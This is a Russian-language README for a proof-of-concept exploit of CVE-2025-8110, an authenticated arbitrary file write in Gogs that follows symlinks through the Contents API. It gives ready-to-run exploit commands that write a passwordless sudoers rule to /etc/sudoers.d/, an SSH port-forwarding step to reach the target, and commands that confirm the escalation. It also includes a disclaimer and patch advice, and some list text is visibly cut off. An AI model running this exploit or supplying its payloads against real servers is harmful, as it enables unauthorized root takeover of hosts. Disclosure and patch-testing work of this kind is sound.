
PoC для CVE-2025-8110 - Произвольная запись файла в Gogs через символическую ссылку
Доказательство концепции для аутентифицированной произвольной записи файлов в Gogs. Отправляя репозиторий, содержащий символическую ссылку, указывающую за пределы репозитория, а затем обновляя содержимое этой ссылки через API, аутентифицированный пользователь может перезаписывать файлы на хосте с привилегиями учетной записи, под которой работает Gogs.
Только авторизованное тестирование и обучение. Запускайте это только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Вы несете ответственность за то, как вы это используете.
malicious_link -> /path/on/host) и отправьте её.PUT-запрос к Contents API для обновления malicious_link. Gogs следует по
символической ссылке и записывает предоставленное содержимое в целевой путь — со своими
привилегиями. Если Gogs работает от root, это является прямым примитивом повышения привилегий
(например, добавление правила в /etc/sudoers.d/).Именно PUT-запрос API запускает запись; отправка репозитория только размещает символическую ссылку.
git доступен в PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Опустите --password, чтобы безопасно ввести пароль по запросу вместо передачи его в командной строке.
Gogs часто привязан к localhost на цели. Используйте SSH-перенаправление локального порта, чтобы открыть доступ к нему с вашей машины (настройте порты в соответствии с целью):
ssh -L 3000:127.0.0.1:3000 user@target
# затем направить эксплойт на http://127.0.0.1:3000
После успешного запуска проверьте на хосте (от имени соответствующего пользователя):
cat /etc/sudoers.d/pwned
sudo -l
Если вы записали правило sudoers, учтите, что файлы в /etc/sudoers.d/ должны быть корректными и
иметь соответствующие права доступа, чтобы sudo их учитывал.
auto_init возвращает HTTP 500 — скрипт откатывается к созданию пустого репозитория
и его наполнению с помощью локального git init + push.master и main.Обновитесь до версии Gogs, которая проверяет символические ссылки в Contents API. В качестве защиты в глубину не запускайте Gogs от root и изолируйте хранилище репозиториев.
MIT — см. LICENSE.